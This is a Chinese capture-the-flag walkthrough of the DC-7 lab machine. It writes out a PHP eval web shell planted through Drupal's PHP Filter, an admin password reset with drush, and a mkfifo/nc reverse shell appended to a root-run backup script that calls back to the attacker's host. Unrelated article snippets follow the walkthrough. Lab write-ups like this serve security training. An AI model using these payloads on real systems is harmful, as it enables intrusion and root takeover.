DC-7靶机

DC-7靶机地址

image-20230808204245221

同样的,把靶机跟kali放在同一网段,(NAT模式)

主机发现

arp-scan -l

image-20230808204710235

端口扫描

nmap -A -T4 -p- 192.168.80.139

image-20230808204838597

22端口开始,80端口开启

浏览器先访问一下靶机的80端口

image-20230808205223470

熟悉的Drupal站点

先爆破一下目录看看

dirsearch -u 192.168.80.139 -i 200

image-20230808205712637

进到 /usr/login目录下看看,发现是一个登录页面,这个时候没有密码,也不知道账户名

image-20230808205800137

DC-7首页也提示说:暴力或字典攻击,你可能不会成功,跳出框框思考,就需要从其他方向找突破口了。。。。

image-20230808210017690

用谷歌浏览器搜索一下Dc7User这么个关键词,发现有一个github

image-20230808211151203

进到 Dc7Usergithub里面,寻找,在一个config.php文件里出现用户名和密码这样的敏感信息

image-20230808211633738

$username = "dc7user";
$password = "MdR3xOgB7#dW";

尝试去网站里登录,结果报错

image-20230808211832025

那就再试试ssh登录,成功进入!!!

image-20230808211943245

查看都有什么文件 ,使用命令ls

image-20230808212239648

进入backups目录里,发现都是看不懂的,搜了一下gpg后缀格式,发现是一种加密的文件格式

image-20230808213123139

image-20230808212323437

再去看看mbox文件,发现里面内容重复的很多,是一封邮件,有一个可执行的脚本,

一个以root权限定期执行的备份任务,执行文件/opt/scripts/backups.sh

image-20230808212220436


使用cd命令切换到/opt/scripts/下看看

提示说cd /vat/www/html下,执行drush 命令

image-20230808212708654

查看backups.sh的权限,发现所有人都可以执行此文件

image-20230808214407873

drush即drupal shell,用于管理和操作drupal站点,可以用来修改管理员密码

Drush是Drupal的一个命令行shell和脚本接口

drush user-password admin --password="123456"  #修改密码

image-20230808215107935

账户admin密码123,登录成功!!!!!!!!!

image-20230808215304909

点击Manage ——> Content ——> Add content ——> Basic page功能,尝试添加php一句话木马,发现Drupal 8版本以后为了安全需要将php单独作为一个模块导入;需要去扩展里下载安装

image-20230808215839662

image-20230808215843571

URL的形式安装php8 https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20230808220232587

image-20230808220101555

image-20230808221021740

Extend里的List里,往下滑动,找PHP有关的,勾选上PHP Filter往下滑有个install

image-20230808221001333

安装完成!!!

image-20230808221058719

然后来到Content写一个一句话木马

<?php eval(@$_POST['password']);?>

在这里插入图片描述

image-20230808221341600

打开中国 蚁剑连接,蚁剑要想连接就得知道,刚上传的一句话木马所在的位置

image-20230808221523643

在这里插入图片描述

蚁剑 测试连通性

在这里插入图片描述

kali开启监听

nc -lvvp 8989

image-20230808222034497

当前还只是普通用户,并没有管理员权限

在这里插入图片描述

进入交互shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20230808222532990

在新开的终端监听4444端口

image-20230808223046525

反弹shell到bashups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.80.141 4444 >/tmp/f" >> backups.sh

image-20230808223301341

等待计划任务执行,等等等…

image-20230809171557884

进到root家目录查看最终flag

image-20230809171701261

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/59867.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入学习 Redis - 事务、实现原理、指令使用及场景

目录 一、Redis 事务 vs MySQL事务 二、Redis 事务的执行原理 2.1、执行原理 2.2、Redis 事务设计这么简单&#xff0c;为什么不涉及成 MySQL 那样强大呢&#xff1f; 三、Redis 事务的使用 3.1、使用场景 3.2、具体演示 开启/执行/放弃事务 watch 监控 watch 实现原理…

【Terraform学习】保护敏感变量(Terraform配置语言学习)

实验步骤 创建 EC2 IAM 角色 导航到IAM 在左侧菜单中&#xff0c;单击角色 。单击创建角色该按钮以创建新的 IAM 角色。 在创建角色部分&#xff0c;为角色选择可信实体类型&#xff1a; AWS 服务 使用案例:EC2 单击下一步 添加权限&#xff1a;现在&#xff0c;您可以看到…

HA3 SQL样本实验:一种混合计算查询的全新样本解决方案

作者&#xff1a;陆唯一(芜霜) HA3&#xff08;对外开源代号&#xff1a;Havenask &#xff09;是阿里智能引擎团队自研的大规模分布式检索系统&#xff0c;广泛应用于阿里内部的搜索业务&#xff0c;是十多年来阿里在电商领域积累下来的核心竞争力产品。Ha3 SQL 是在原有Ha3引…

Promise详细版

promise基础原理到难点分析 常见的Promise的方法解读 扩展async和await深入分析 逐步分析Promise底层逻辑代码 一、Promise基础 1.什么是promise 为了解决回调地狱&#xff1a; //2.设置点击事件btn.onclick function() {//3.创建ajax实例化对象let xhr new XMLHttpRe…

C++/Qt读写ini文件

今天介绍C/Qt读写ini文件&#xff0c;ini文件一般是作为配置文件来使用&#xff0c;比如一些程序的一些默认参数会写在一个ini文件中&#xff0c;程序运行时会进行对应的参数读取&#xff0c;详细可以查看百度ini文件的介绍。https://baike.baidu.com/item/ini%E6%96%87%E4%BB%…

Spring Cloud Gateway

一 什么是Spring Cloud Gateway 网关作为流量的入口&#xff0c;常用的功能包括路由转发&#xff0c;权限校验&#xff0c;限流等。 Spring Cloud Gateway 是Spring Cloud官方推出的第二代网关框架&#xff0c;定位于取代 Netflix Zuul。相比 Zuul 来说&#xff0c;Spring Clo…

【导出Word】如何使用Java+Freemarker模板引擎,根据XML模板文件生成Word文档(只含文本内容的模板)

这篇文章&#xff0c;主要介绍如何使用JavaFreemarker模板引擎&#xff0c;根据XML模板文件生成Word文档。 目录 一、导出Word文档 1.1、基础知识 1.2、制作模板文件 1.3、代码实现 &#xff08;1&#xff09;引入依赖 &#xff08;2&#xff09;创建Freemarker工具类 &…

W5500-EVB-PICO作为TCP Client 进行数据回环测试(五)

前言 上一章我们用W5500-EVB-PICO开发板通过DNS解析www.baidu.com&#xff08;百度域名&#xff09;成功得到其IP地址&#xff0c;那么本章我们将用我们的开发板作为客户端去连接服务器&#xff0c;并做数据回环测试&#xff1a;收到服务器发送的数据&#xff0c;并回传给服务器…

【分布式系统】聊聊流量和数据调度

对于分布式系统来说&#xff0c;除了监控层面、以及服务治理层面&#xff0c;还有两个层面流量和数据调度。流量调度其实比较好理解&#xff0c;就是用户请求的流量&#xff0c;如何按照一定的策略算法打到不同的机器上。以及如何实现一个高可用、高性能的流量调度平台。而数据…

BM5 合并k个已排序的链表 javascript

描述 合并 k 个升序的链表并将结果作为一个升序的链表返回其头节点。 数据范围&#xff1a; 示例1 输入&#xff1a; [{1,2,3},{4,5,6,7}] 返回值&#xff1a; {1,2,3,4,5,6,7}示例2 输入&#xff1a; [{1,2},{1,4,5},{6}] 返回值&#xff1a; {1,1,2,4,5,6}解题思路 利用两个…

Electron学习1 安装环境与第一个程序

Electron学习1 安装环境与第一个程序 一、 Electron 简介二、安装 nvm三、安装nodejs四、安装nrm五、安装electron1. npm 初始化2. 创建 package.json3. 安装electron4. 创建一个页面5. 创建文件main.js6. 创建预加载器文件 preload.js7. 启动程序 六、打包 一、 Electron 简介…

Qt多线程编程

本章介绍Qt多线程编程。 1.方法 Qt多线程编程通常有2种方法&#xff1a; 1)通过继承QThread类&#xff0c;实现run()方法。 2)采用QObject::moveToThread()方法。 方法2是Qt官方推荐的方法&#xff0c;本文介绍第2种。 2.步骤 1)创建Worker类 这里的Worker类就是我们需要…